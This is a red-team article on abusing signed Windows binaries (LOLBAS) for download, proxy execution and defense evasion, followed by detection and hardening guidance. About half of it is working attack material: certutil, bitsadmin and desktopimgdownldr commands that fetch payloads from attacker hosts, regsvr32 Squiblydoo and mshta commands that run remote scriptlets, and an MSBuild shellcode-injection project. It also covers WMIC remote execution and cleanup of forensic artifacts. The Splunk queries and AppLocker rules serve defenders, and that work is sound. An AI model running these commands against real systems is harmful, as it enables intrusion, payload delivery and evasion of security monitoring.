
Living Off the Land Binaries (LOLBAS)
Abusing Windows-signed binaries for proxy execution, file downloads, and defense evasion without dropping custom malware.
Introduction
LOLBAS (Living Off the Land Binaries, Scripts, and Libraries) exploits a fundamental trust asymmetry in enterprise Windows environments: these binaries ship with the OS, carry Microsoft's Authenticode signature, and are explicitly trusted by application whitelisting policies, AV products, and EDRs. When certutil.exe or regsvr32.exe makes a network connection or spawns a child process, the binary itself is clean — detection depends entirely on behavioral telemetry, not hash or signature matching.
The technique set covers three primitive capabilities that map directly to attacker phases: file ingress (downloading tools from external or internal staging servers), code execution (running payloads without writing PE files to disk), and data transformation (base64 encode/decode for exfiltration or staging). Because the executing binary is a trusted OS component, many AV vendors and SIEM rules historically whitelisted these binaries entirely, leaving massive blind spots that threat actors — from FIN7 to APT41 — exploit routinely.
The catalog at lolbas-project.github.io documents over 150 such binaries. This article focuses on the highest-value subset with reliable exploit paths, discusses their mechanism, and maps detection strategies to concrete data sources.
Authorization Required
All techniques documented here require explicit written authorization from the system owner. LOLBAS abuse on production systems without authorization violates the Computer Fraud and Abuse Act (US) and equivalent laws in other jurisdictions. Use only in authorized penetration tests, red team engagements, or isolated lab environments.
Impact
- Download arbitrary files from HTTP/S URLs using OS-native binaries with no external dependencies
- Execute JScript, VBScript, COM scriptlets, and inline C# without writing conventional PE files to disk
- Bypass AppLocker and WDAC policies that block unsigned executables but allow Microsoft-signed binaries
- Proxy execution through trusted processes to obscure the true execution chain in EDR telemetry
- Encode/decode arbitrary data using certutil, evading DLP controls watching for base64 in PowerShell
- Lateral movement and persistence via WMI subscriptions and scheduled task XML execution
- Blend into normal administrative activity — these binaries run daily in enterprise environments
Technical Details
LOLBAS binaries fall into four functional categories:
| Category | Examples | Primitive |
|---|---|---|
| Downloaders | certutil, bitsadmin, desktopimgdownldr | Fetch remote files |
| Proxy Executors | regsvr32, mshta, rundll32, wmic | Execute code via trusted process |
| Script Runners | msbuild, installutil, cmstp | Compile/run inline managed code |
| Encoders | certutil, makecab, expand | Transform data |
Certutil
certutil.exe is a certificate management utility. Its -urlcache flag was designed to cache CRL and OCSP responses from certificate authorities, but accepts arbitrary URLs and writes the response body to disk verbatim. The -decode and -encode flags process Base64 with MIME headers — useful both for staging encoded payloads and for decoding them on target.
Hash-based detection fails because the binary itself is clean. Microsoft Defender now flags certutil download activity, but many third-party products still miss it.
Regsvr32 — Squiblydoo
regsvr32.exe registers COM DLLs. Its /i: flag passes an initialization string to DllInstall(), and when combined with scrobj.dll (Windows Script Component runtime), that string is treated as a URL to a .sct XML scriptlet. The scriptlet is fetched over HTTP/S, parsed entirely in-memory, and executed — the payload never touches disk as a traditional PE file. This technique, called Squiblydoo, bypasses AppLocker Script rules because the scriptlet runs inside a signed OS binary.
MSHTA
mshta.exe (Microsoft HTML Application Host) executes .hta files. HTA files are HTML documents that run in a JScript/VBScript context with full system access — they are not sandboxed like browser JavaScript. Passing a URL directly to mshta.exe triggers an HTTP fetch and in-memory execution. This was the default payload delivery mechanism for many commodity RATs (njRAT, AsyncRAT) and is still used in phishing chains.
MSBuild
MSBuild.exe compiles and runs .proj XML files. The <UsingTask> element allows inline C# or VB.NET code through the TaskFactory="CodeTaskFactory" attribute. MSBuild is signed by Microsoft, ships with .NET Framework, and is explicitly allowed by most AppLocker policies that target script files but not build tools.
InstallUtil
InstallUtil.exe is the .NET component installer. Its /U (uninstall) flag calls the Uninstall() method of a class derived from System.Configuration.Install.Installer. Placing a payload in Uninstall() executes managed code while InstallUtil exits with a non-zero code — which most monitoring ignores. The /logfile= and /LogToConsole=false flags suppress output.
Attack Flow
Stage Payload on Attacker Infrastructure
Host a payload at a URL reachable from target. For certutil downloads, any HTTP/S endpoint works. For regsvr32/Squiblydoo, host a valid .sct XML file. For mshta, host an .hta file. For MSBuild, the project XML is passed as a local path — so first stage the XML using a downloader.
# Python quick server
python3 -m http.server 8080
# Or use a proper C2 redirector for opsecDownload Files to Target — certutil
certutil.exe -urlcache -split -f http://192.168.1.100:8080/payload.exe C:\Users\Public\p.exeThe -split flag writes the file in chunks and is required when the target directory has a size limit. The file is cached in %LocalAppData%\Microsoft\Windows\Temporary Internet Files\ as well as the destination — forensically relevant.
# Encode on attacker box
certutil -encode payload.exe payload.b64
# Decode on target
certutil -decode payload.b64 C:\Users\Public\payload.exeProxy Execute via regsvr32 — Squiblydoo
regsvr32.exe /s /n /u /i:http://192.168.1.100:8080/payload.sct scrobj.dllThe .sct file structure that executes a command:
<?XML version="1.0"?>
<scriptlet>
<registration progid="ShortJSRAT" classid="{10001111-0000-0000-0000-0000FEEDACDC}">
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c whoami > C:\\Users\\Public\\out.txt");
]]>
</script>
</registration>
</scriptlet>regsvr32.exe exits immediately after spawning the script runtime. The parent-child relationship in process telemetry is regsvr32.exe → wscript.exe (or direct API calls for in-process execution).
Execute HTA via mshta
mshta.exe http://192.168.1.100:8080/payload.hta<html>
<head>
<script language="VBScript">
Set oShell = CreateObject("WScript.Shell")
oShell.Run "cmd.exe /c powershell -nop -w hidden -enc BASE64PAYLOAD", 0
window.close()
</script>
</head>
</html>mshta.exe makes the HTTP request, parses the HTML, and executes the VBScript in a full COM scripting engine. The spawned process is a child of mshta.exe.
Inline C# via MSBuild
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Users\Public\payload.proj<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Run">
<ClassicShellcode />
</Target>
<UsingTask TaskName="ClassicShellcode" TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassicShellcode : Task, ITask {
[DllImport("kernel32")] static extern IntPtr VirtualAlloc(IntPtr a, uint s, uint t, uint p);
[DllImport("kernel32")] static extern IntPtr CreateThread(IntPtr a, uint s, IntPtr f, IntPtr p, uint c, IntPtr i);
[DllImport("kernel32")] static extern UInt32 WaitForSingleObject(IntPtr h, UInt32 t);
public override bool Execute() {
byte[] sc = new byte[] { /* shellcode bytes */ };
IntPtr mem = VirtualAlloc(IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
Marshal.Copy(sc, 0, mem, sc.Length);
IntPtr t = CreateThread(IntPtr.Zero, 0, mem, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(t, 0xFFFFFFFF);
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>File Transfer via BITS — bitsadmin
bitsadmin /transfer MyJob /download /priority high http://192.168.1.100:8080/payload.exe C:\Users\Public\payload.exe
# PowerShell equivalent using BITS COM object (cleaner, harder to detect)
Start-BitsTransfer -Source http://192.168.1.100:8080/payload.exe -Destination C:\Users\Public\payload.exeBITS transfers survive reboots, run asynchronously, and by default appear as svchost.exe network connections rather than bitsadmin.exe. The BITS service (qmgr.dat job store) persists until explicitly cancelled.
Process Spawn via WMIC
wmic process call create "cmd.exe /c certutil -urlcache -split -f http://192.168.1.100:8080/p.exe C:\Users\Public\p.exe"
# Remote execution over WMI (lateral movement)
wmic /node:192.168.1.50 /user:DOMAIN\user /password:pass process call create "cmd.exe /c payload.exe"The spawned process is a child of WmiPrvSE.exe — the WMI provider host — breaking the process lineage chain that many detections rely on.
InstallUtil Uninstall Callback
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Users\Public\payload.dllThe DLL must contain a class deriving from System.Configuration.Install.Installer with the payload in Uninstall(). InstallUtil returns exit code 1 but the payload has already executed.
Attack Tools
# Direct URL download
certutil.exe -urlcache -split -f http://ATTACKER/payload.exe C:\ProgramData\p.exe
# Verify download (shows cached URL)
certutil.exe -urlcache * | findstr /i "http"
# Clear the cache (clean up forensic artifacts)
certutil.exe -urlcache -split -f http://ATTACKER/payload.exe delete
# Base64 encode a file
certutil.exe -encode C:\payload.exe C:\payload.b64
# Base64 decode
certutil.exe -decode C:\payload.b64 C:\payload.exe# Remote scriptlet (AppLocker bypass, no disk artifact for scriptlet)
regsvr32.exe /s /n /u /i:http://ATTACKER/payload.sct scrobj.dll
# From file (if already on disk)
regsvr32.exe /s /n /u /i:C:\Users\Public\payload.sct scrobj.dll
# Force over HTTPS
regsvr32.exe /s /n /u /i:https://ATTACKER/payload.sct scrobj.dll| Flag | Meaning |
|---|---|
/s | Silent — suppress dialogs |
/n | Do not call DllRegisterServer |
/u | Unregister mode |
/i:URL | Pass URL as parameter to DllInstall |
# Remote HTA
mshta.exe http://ATTACKER/payload.hta
# Local HTA file
mshta.exe C:\Users\Public\payload.hta
# Inline VBScript (one-liner, no file)
mshta.exe vbscript:Execute("CreateObject(""WScript.Shell"").Run ""cmd /c whoami > C:\out.txt"":close")
# Inline JScript
mshta.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell");h.run("cmd.exe /c whoami > C:\\out.txt",0,true);# .NET Framework 4.x (most common)
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe payload.proj
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.proj
# .NET Framework 3.5
C:\Windows\Microsoft.NET\Framework\v3.5\MSBuild.exe payload.proj
# With Visual Studio (if installed)
"C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\MSBuild\Current\Bin\MSBuild.exe" payload.projTools to generate MSBuild payloads automatically:
# Create download job
bitsadmin /transfer "LegitJob" /download /priority foreground http://ATTACKER/p.exe C:\ProgramData\p.exe
# Create job, add file, and resume manually (more control)
bitsadmin /create MyJob
bitsadmin /addfile MyJob http://ATTACKER/p.exe C:\ProgramData\p.exe
bitsadmin /resume MyJob
bitsadmin /complete MyJob
# Check job status
bitsadmin /list /allusers /verbose
# Cancel all jobs (cleanup)
bitsadmin /cancel MyJobBITS jobs survive reboots until completed or cancelled. Network traffic comes from svchost.exe -k netsvcs -p -s BITS, not bitsadmin.exe.
# odbcconf executes DLLs via REGSVR action
odbcconf.exe /f payload.rsp
# payload.rsp contents:
# REGSVR payload.dll
# Or inline:
odbcconf.exe -a {REGSVR "C:\Users\Public\payload.dll"}# pcalua spawns arbitrary executables with -a flag
pcalua.exe -a C:\Users\Public\payload.exe
# With arguments
pcalua.exe -a cmd.exe -c "whoami > C:\out.txt"# Executes .xbap files (XAML Browser Applications) with managed code
PresentationHost.exe C:\Users\Public\payload.xbap# Designed to download lock screen/desktop images from Microsoft CDN
# Accepts arbitrary URLs via registry key
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP" /v LockScreenImageUrl /d http://ATTACKER/payload.exe /f
desktopimgdownldr.exe /lockscreenurl:http://ATTACKER/payload.exe /eventName:DesktopImageChangedDetection
Hash-based detection is useless for LOLBAS — the binaries are legitimate. Detection requires behavioral analysis focused on process lineage, network connections originating from unexpected parents, and command-line argument inspection.
Process Lineage Anomalies
The highest-fidelity signal is unexpected parent-child process relationships. Production environments have consistent, predictable process trees.
| Parent | Child | Suspicion Level |
|---|---|---|
winword.exe / excel.exe | certutil.exe, mshta.exe, regsvr32.exe | Critical |
certutil.exe | Any child process | High |
regsvr32.exe | cmd.exe, powershell.exe, wscript.exe | Critical |
mshta.exe | cmd.exe, powershell.exe, wscript.exe | Critical |
msbuild.exe | cmd.exe, powershell.exe, network connection | High |
WmiPrvSE.exe | Any process not in baseline | Medium-High |
installutil.exe | Any process | High |
Windows Event IDs
| Event ID | Source | What it captures |
|---|---|---|
| 4688 | Security | Process creation with command line (requires audit policy) |
| 1 | Sysmon | Process creation with full command line and hashes |
| 3 | Sysmon | Network connection (captures certutil/mshta outbound) |
| 7 | Sysmon | Image load (DLL loading into regsvr32) |
| 11 | Sysmon | File creation (output files from certutil) |
| 12/13/14 | Sysmon | Registry events (desktopimgdownldr config writes) |
Sysmon-Based SIEM Queries
index=windows source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
EventID=3
Image="*\\certutil.exe"
| table _time, ComputerName, Image, DestinationIp, DestinationPort, Userindex=windows EventID=1
ParentImage IN ("*\\winword.exe","*\\excel.exe","*\\powerpnt.exe","*\\outlook.exe")
Image IN ("*\\certutil.exe","*\\regsvr32.exe","*\\mshta.exe","*\\msbuild.exe","*\\installutil.exe","*\\bitsadmin.exe","*\\wmic.exe")
| table _time, ComputerName, ParentImage, Image, CommandLineindex=windows EventID=7
Image="*\\regsvr32.exe"
ImageLoaded="*\\scrobj.dll"
| table _time, ComputerName, Image, ImageLoaded, CommandLineindex=windows
(EventID=3 Image="*\\MSBuild.exe") OR
(EventID=1 ParentImage="*\\MSBuild.exe" Image IN ("*\\cmd.exe","*\\powershell.exe"))
| table _time, ComputerName, EventID, Image, ParentImage, CommandLine, DestinationIpNetwork-Based Detection
EDR and NGFW can catch LOLBAS downloaders by monitoring unexpected outbound HTTP/S from these processes:
certutil.exemaking connections to non-Microsoft domainsmshta.execonnecting to external IPs (especially on non-standard ports)bitsadmin.exeorsvchost.exe (BITS)transferring from external hostsregsvr32.exemaking any network connection at all
DNS query logging (via Sysmon Event ID 22 or DNS debug logging) captures domain-based C2 even when IP blocking is in place.
AMSI and Script Block Logging
For scriptlet and HTA payloads, AMSI scans VBScript/JScript at runtime. Enable AMSI logging and Script Block Logging (Event ID 4104) for PowerShell. Regsvr32 scriptlets pass through AMSI since Windows 10 RS3, making AMSI bypass a prerequisite for reliable Squiblydoo on modern systems.
Remediation
Application Control (AppLocker / WDAC)
Default AppLocker rules allow execution from %SystemRoot% and %ProgramFiles%, which covers all LOLBAS binaries. Effective mitigation requires publisher-condition rules that allow the binary but block execution when it would load scrobj.dll or make outbound network connections — WDAC supports this via AppId tagging. Alternatively, block specific binary paths for non-admin users:
- Deny: %SystemRoot%\System32\regsvr32.exe for non-admin users
- Deny: %SystemRoot%\System32\mshta.exe for non-admin users
- Deny: %SystemRoot%\Microsoft.NET\Framework*\MSBuild.exe for non-admin usersEndpoint Controls
- Enable
ProcessCreationIncludeCmdLine_Enabledgroup policy for Event ID 4688 command-line logging - Deploy Sysmon with a mature configuration (SwiftOnSecurity or Olaf Hartong's modular config)
- Configure Windows Defender Attack Surface Reduction (ASR) rules:
Block Office applications from creating child processes(GUID:D4F940AB-401B-4EFC-AADC-AD5F3126523)Block execution of potentially obfuscated scripts(GUID:5BEB7EFE-FD9A-4556-801D-275E5FFC04CC)
Network Controls
- Proxy all HTTP/S egress and enforce authentication — unauthenticated SYSTEM-context connections from certutil or bitsadmin will fail
- Block outbound HTTP on non-standard ports at the perimeter
- Implement DNS filtering and log all DNS queries for anomaly detection
Monitoring Baselines
Establish process-lineage baselines for each environment. certutil.exe should only run in PKI-related contexts. mshta.exe has near-zero legitimate use on most enterprise endpoints. MSBuild.exe should only run on developer workstations and build agents. Any deviation is alertable.
References
MITRE ATT&CK Techniques
- T1218 - System Binary Proxy Execution
- T1218.001 - Compiled HTML File
- T1218.003 - CMSTP
- T1218.005 - Mshta
- T1218.010 - Regsvr32
- T1218.013 - Mavinject
- T1105 - Ingress Tool Transfer
- T1059.003 - Command and Scripting Interpreter: Windows Command Shell
Tools Documentation
- LOLBAS Project — searchable database of all documented binaries
- Sysmon Configuration — SwiftOnSecurity
- Sysmon Modular — Olaf Hartong
- GadgetToJScript — generate LOLBAS payloads from .NET assemblies
- WDAC Wizard — GUI tool for building WDAC policies
- Atomic Red Team — T1218 — test coverage for proxy execution techniques
Next Steps
EDR Evasion Techniques in Modern Red Team Operations
EDR evasion techniques including API hooking bypass, AMSI evasion, ETW tampering, memory injection, and advanced code obfuscation strategies.
Linux Security
Linux privilege escalation techniques, system hardening, and vulnerability exploitation for penetration testing and security assessments.